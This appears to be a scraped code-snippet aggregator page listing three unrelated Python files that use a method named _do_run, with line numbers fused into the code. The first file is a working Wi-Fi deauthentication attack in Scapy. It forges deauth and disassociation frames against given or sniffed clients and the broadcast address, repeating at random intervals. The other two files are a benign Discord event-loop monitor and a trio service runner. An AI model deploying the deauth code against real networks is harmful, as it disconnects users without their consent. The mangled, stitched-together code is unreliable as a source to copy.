KaneAI - World’s First E2E Software Testing Agent.Book a Demo Join TestMu Conference

How to use _do_run method in autotest

Best Python code snippet using autotest_python

impl.py

Source:impl.py

...28        self.interface.set_channel(channel)29        # Finally, run the attack as many times as requested.30        message = 'Running attack: iteration %d.'31        self._log(message % 1)32        self._do_run()33        for i in range(executions-1):34            idle_time = random.randint(*persistence_times)35            self._log('Retrying again in %d seconds.' % idle_time)36            time.sleep(idle_time)37            self._log(message % (i+2))38            self._do_run()39        self._log('Done!')40            41    def _log(self, message):42        logging.log(logging.INFO, message)43        44    def _build_packet(self, seq, source, dest, body):45        encoded_seq = seq << 446        return   RadioTap()\47               / Dot11(SC=encoded_seq, addr1=dest, addr2=source,48                       addr3=self.bssid)\49               / body        50        51    def _build_deauth_packet(self, seq, source, dest):52        body = Dot11Deauth(reason=self.DEFAULT_DEAUTH_REASON)53        return self._build_packet(seq, source, dest, body)54    def _build_disas_packet(self, seq, source, dest):55        body = Dot11Disas(reason=self.DEFAULT_DEAUTH_REASON)56        return self._build_packet(seq, source, dest, body)57    58    def _replicate_and_send(self, packet1, packet2):59        packets = [(packet1, packet2)60                   for _ in range(self.PACKETS_PER_PROBE)]61        packets = list(chain.from_iterable(packets))62        self._send(packets)63          64    def _send(self, packets):65        sendp(packets, iface=self.interface.get_name(), verbose=0)66        67    def _do_run(self):68        raise NotImplementedError69class FixedClientDeauthAttack(WiFiDeauthAttack):70    71    '''This attack injects two deauthentication packets coming from and sent to72    each of the client MAC addresses provided as argument. This is then retried73    as many times as NUM_PROBES specifies.'''74    75    def __init__(self, interface, bssid, clients):76        super(FixedClientDeauthAttack, self).__init__(interface, bssid)77        self.clients = clients78    79    def _deauth_client(self, client, seq):80        client_packet = self._build_deauth_packet(seq,81                                                  source=client,82                                                  dest=self.bssid)83        ap_packet = self._build_deauth_packet(seq,84                                              source=self.bssid,85                                              dest=client)86        87        self._replicate_and_send(client_packet, ap_packet)88    def _do_run(self):89        msg = 'Injecting deauth packets for client %s using SN=%d...'90        for seq in xrange(self.INITIAL_SEQ_NUMBER,91                          self.INITIAL_SEQ_NUMBER+self.NUM_PROBES):92            for client in self.clients:93                self._log(msg % (client, seq))94                self._deauth_client(client, seq)95class GlobalDisassociationAttack(WiFiDeauthAttack):96    97    '''This attack will inject broadcast disassociation and deauthentication98    packets having as source the BSSID provided. However, it is not as99    effective as the standard deauth attack against a single target.'''100    101    def _do_run(self):102        msg = 'Injecting disassociation and deauth packets sent to broadcast address %s...' %\103               self.WIFI_BROADCAST_ADDRESS104        self._log(msg)105        for seq in xrange(self.INITIAL_SEQ_NUMBER,106                          self.INITIAL_SEQ_NUMBER+self.NUM_PROBES):107            deauth_packet = self._build_deauth_packet(seq, source=self.bssid,108                                                      dest=self.WIFI_BROADCAST_ADDRESS)109            disas_packet = self._build_disas_packet(seq, source=self.bssid,110                                                    dest=self.WIFI_BROADCAST_ADDRESS)            111            self._replicate_and_send(deauth_packet, disas_packet)112class SniffedClientDeauthAttack(WiFiDeauthAttack):113    114    '''This attack consists in sniffing the network so as to retrieve MAC115    addresses of potential clients of the given access point. Once this is116    done, a standard fixed deauth attack against every client will be run.'''117    def __init__(self, interface, bssid, timeout):118        super(SniffedClientDeauthAttack, self).__init__(interface, bssid)119        self.timeout = timeout120        self.clients = set()121    def _is_valid(self, address):122        # Filter client addresses by discarding broadcast addresses as well as123        # AP address occurrences (also discarding null entries since Scapy 124        # fills with None those missing addresses).125        address = address.lower()126        return address is not None and\127               address != self.WIFI_BROADCAST_ADDRESS and\128               address != self.bssid129    def _get_client_addresses(self):130        sniffer = WiFiSniffer(self.interface)131        packets = sniffer.sniff(timeout=self.timeout,132                                lfilter=lambda pkt: not pkt.haslayer(Dot11ProbeResp) and\133                                                    pkt.addr3 == self.bssid)134        clients = set()135        136        for packet in packets:137            if self._is_valid(packet.addr1):138                clients.add(packet.addr1)139            if self._is_valid(packet.addr2):140                clients.add(packet.addr2)141        return clients142    def _do_run(self):143        # First get client addresses by sniffing the network. Avoid computing144        # this if it was already done in previous executions.145        if not self.clients:146            self._log('Sniffing network...')147            self.clients = self._get_client_addresses()148            self._log('Done. Found %d clients.' % len(self.clients))149        150        # Now launch the attack against these clients.151        attack = FixedClientDeauthAttack(self.interface, self.bssid, self.clients)...

blocktest.py

Source:blocktest.py

1import asyncio2import concurrent.futures3import sys4import threading5import time6import traceback7import discord8from discord.ext import commands9class BlockingMonitor(commands.Cog):10    def __init__(self, bot):11        self.bot = bot12        self.monitor_thread = StackMonitor(bot)13        self.monitor_thread.start()14    def cog_unload(self):15        self.monitor_thread.stop()16    @commands.group(invoke_without_command=True)17    async def bmon(self, ctx):18        ...19    @bmon.command()20    async def stop(self, ctx):21        if not self.monitor_thread:22            return await ctx.send("Not running monitor")23        self.monitor_thread.stop()24        self.monitor_thread = None25    @bmon.command()26    async def start(self, ctx):27        if self.monitor_thread:28            return await ctx.send("Already running")29        self.monitor_thread = StackMonitor(self.bot)30        self.monitor_thread.start()31class StackMonitor(threading.Thread):32    def __init__(self, bot, block_threshold=1, check_freq=2):33        super().__init__(34            name=f"{type(self).__name__}-{threading._counter()}", daemon=True35        )36        self.bot = bot37        self._do_run = threading.Event()38        self._do_run.set()39        self.block_threshold = block_threshold40        self.check_frequency = check_freq41        self.last_stack = None42        self.still_blocked = False43        self._last_frame = None44    @staticmethod45    async def dummy_coro():46        return True47    def test_loop_availability(self):48        t0 = time.perf_counter()49        fut = asyncio.run_coroutine_threadsafe(self.dummy_coro(), self.bot.loop)50        t1 = time.perf_counter()51        try:52            fut.result(self.block_threshold)53            t2 = time.perf_counter()54        except (asyncio.TimeoutError, concurrent.futures.TimeoutError):55            t2 = time.perf_counter()56            frame = sys._current_frames()[self.bot.loop._thread_id]57            stack = traceback.format_stack(frame)58            if (59                stack == self.last_stack60                and frame is self._last_frame61                and frame.f_lasti == self._last_frame.f_lasti62            ):63                self.still_blocked = True64                print("Still blocked...")65                return66            else:67                self.still_blocked = False68            print(f"Future took longer than {self.block_threshold}s to return")69            print("".join(stack))70            self.last_stack = stack71            self._last_frame = frame72        else:73            if self.still_blocked:74                print("No longer blocked")75                self.still_blocked = False76            self.last_stack = None77            return t2 - t178    def run(self):79        while self._do_run.is_set():80            if self.bot.loop.is_running():81                self.test_loop_availability()82            time.sleep(self.check_frequency)83    def stop(self):84        self._do_run.clear()85def setup(bot):...

trio.py

Source:trio.py

...47                    trio.run(cls._do_run, boot_info)48            else:49                trio.run(cls._do_run, boot_info)50    @classmethod51    async def _do_run(cls, boot_info: BootInfo) -> None:52        if cls.endpoint_name is None:53            endpoint_name = friendly_filename_or_url(cls.name)54        else:55            endpoint_name = cls.endpoint_name56        event_bus_service = TrioEventBusService(57            boot_info.trinity_config,58            endpoint_name,59        )60        with trio.open_signal_receiver(signal.SIGINT, signal.SIGTERM) as signal_aiter:61            async with background_trio_service(event_bus_service):62                await event_bus_service.wait_event_bus_available()63                event_bus = event_bus_service.get_event_bus()64                async with trio.open_nursery() as nursery:65                    nursery.start_soon(cls.do_run, boot_info, event_bus)...

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.